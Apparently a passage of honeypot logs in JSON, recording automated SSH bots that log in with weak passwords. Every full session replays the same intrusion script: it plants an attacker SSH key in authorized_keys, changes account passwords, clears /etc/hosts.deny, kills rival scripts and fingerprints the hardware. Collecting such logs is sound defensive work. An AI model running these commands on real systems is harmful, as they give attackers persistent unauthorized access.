-l"},{"seq":4,"at":"2026-08-27T11:39:48.316251+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:39:48.761268+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n9PrP5uYF9Slt\\n9PrP5uYF9Slt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:39:49.211777+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n9PrP5uYF9Slt\\n9PrP5uYF9Slt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:39:49.654057+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:39:50.176226+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:39:50.623097+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:39:51.729858+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:39:52.187179+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:39:53.173462+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:39:53.630756+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:39:54.359060+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:39:54.806228+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:39:55.533149+00:00","kind":"output","latency_ms":null,"data":" 11:39:55 up 7 days, 8:30, 0 user, load average: 0.16, 0.13, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:39:55.985392+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:39:56.293011+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:39:56.741764+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:39:57.239382+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:39:57.686911+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:39:58.354165+00:00","kind":"output","latency_ms":null,"data":"top - 11:39:58 up 7 days, 8:30, 0 user, load average: 0.16, 0.13, 0.16\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:39:58.799855+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:39:59.696222+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:40:00.147166+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:40:00.846798+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:40:01.296249+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:40:01.585036+00:00","kind":"output","latency_ms":null,"data":"fs"},{"seq":29,"at":"2026-08-27T11:40:02.034939+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:40:03.017850+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:40:03.461090+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:40:04.890345+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"fs","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"ae469160-671c-4a28-ba45-450fa52a6ad1","name":"orderly-quartz-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":56544,"username":"radius","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1010,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:39:50.876941+00:00","ended_at":"2026-08-27T11:39:53.188496+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2220,"events":[{"seq":1,"at":"2026-08-27T11:39:15.418696+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:39:17.160941+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:39:24.622164+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:39:25.136491+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:39:26.223195+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\ne8rkww79CY7r\\ne8rkww79CY7r\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:39:28.560952+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\ne8rkww79CY7r\\ne8rkww79CY7r\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:39:30.040969+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:39:30.811131+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:39:31.672770+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:39:32.832860+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:39:34.337724+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:39:35.090505+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:39:36.222228+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:39:36.760142+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:39:37.616532+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:39:38.012303+00:00","kind":"output","latency_ms":null,"data":" 11:39:38 up 7 days, 8:29, 0 user, load average: 0.29, 0.33, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:39:39.216040+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:39:39.554329+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:39:41.206606+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:39:42.014708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:39:42.873032+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:39:43.206955+00:00","kind":"output","latency_ms":null,"data":"top - 11:39:43 up 7 days, 8:29, 0 user, load average: 0.29, 0.33, 0.29\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:39:44.063272+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:39:44.641118+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:39:45.651301+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:39:45.911404+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:39:46.773377+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:39:47.169165+00:00","kind":"output","latency_ms":null,"data":"radius"},{"seq":29,"at":"2026-08-27T11:39:48.036029+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:39:49.299017+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:39:50.877775+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:39:51.677663+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"radius","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"3b68326b-5aa3-401b-bd27-1a060294ab3f","name":"jovial-obsidian-kakapo","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":49492,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":274,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:39:40.711783+00:00","ended_at":"2026-08-27T11:39:41.785704+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:39:14.027106+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:39:14.292615+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:39:18.676152+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:39:20.121442+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:39:20.395958+00:00","kind":"input","latency_ms":null,"data":"echo \"root:GQahjYvYUf6O\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:39:20.670919+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:39:20.943678+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:39:22.415652+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:39:22.689258+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:39:23.868111+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:39:24.146198+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:39:25.729522+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:39:26.011138+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:39:27.694952+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:39:27.971006+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:39:29.267511+00:00","kind":"output","latency_ms":null,"data":" 11:39:29 up 7 days, 8:29, 0 user, load average: 0.28, 0.22, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:39:29.542395+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:39:31.560949+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:39:31.835472+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:39:32.429669+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:39:32.705514+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:39:34.152967+00:00","kind":"output","latency_ms":null,"data":"top - 11:39:34 up 7 days, 8:29, 0 user, load average: 0.28, 0.22, 0.31\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:39:34.424274+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:39:35.965400+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:39:36.238964+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:39:37.035750+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:39:37.310053+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:39:39.227250+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:39:39.502653+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:39:40.437360+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:39:40.712564+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:39:41.705283+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"tq123456.","method":"password","accepted":true,"tier":"other"}]} {"id":"faae66eb-6f6c-4422-bff1-f43d752da64c","name":"burly-clever-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":60628,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:39:06.381638+00:00","ended_at":"2026-08-27T11:39:08.291010+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2107,"events":[{"seq":1,"at":"2026-08-27T11:38:50.269306+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:38:50.563860+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:38:53.882419+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:38:54.293294+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:38:54.591017+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1qazxsw2!@\\ne3Lomrr4O7eA\\ne3Lomrr4O7eA\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:38:54.881129+00:00","kind":"input","latency_ms":null,"data":"echo \"1qazxsw2!@\\ne3Lomrr4O7eA\\ne3Lomrr4O7eA\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:38:55.175711+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:38:55.658014+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:38:55.958537+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:38:57.005911+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:38:57.301554+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:38:58.436706+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:38:58.730511+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:38:59.569440+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:38:59.865781+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:39:00.131487+00:00","kind":"output","latency_ms":null,"data":" 11:39:00 up 7 days, 8:29, 0 user, load average: 0.26, 0.24, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:39:00.424880+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:39:00.884325+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:39:01.179180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:39:01.473112+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:39:01.766825+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:39:02.418241+00:00","kind":"output","latency_ms":null,"data":"top - 11:39:02 up 7 days, 8:29, 0 user, load average: 0.26, 0.24, 0.17\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:39:02.711640+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:39:03.139088+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:39:03.434355+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:39:03.709945+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:39:04.003287+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:39:04.438654+00:00","kind":"output","latency_ms":null,"data":"debian"},{"seq":29,"at":"2026-08-27T11:39:04.734222+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:39:06.088205+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:39:06.382260+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:39:08.208154+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"debian","password":"1qazxsw2!@","method":"password","accepted":true,"tier":"other"}]} {"id":"8cfa3a5a-651c-4953-aec2-2d764a29de42","name":"drifting-amiable-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":41464,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:38:02.282253+00:00","ended_at":"2026-08-27T11:38:04.558531+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2139,"events":[{"seq":1,"at":"2026-08-27T11:37:43.886777+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:37:44.213866+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:37:48.545470+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:37:48.858283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:37:49.184627+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wbKyouhhmXUZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:37:49.513653+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:37:49.841619+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:37:50.675293+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:37:51.004824+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:37:52.323339+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:37:52.654593+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:37:53.603072+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:37:53.931618+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:37:54.330465+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:37:54.660933+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:37:54.941915+00:00","kind":"output","latency_ms":null,"data":" 11:37:54 up 7 days, 8:28, 0 user, load average: 0.14, 0.16, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:37:55.272596+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:37:56.089969+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:37:56.420107+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 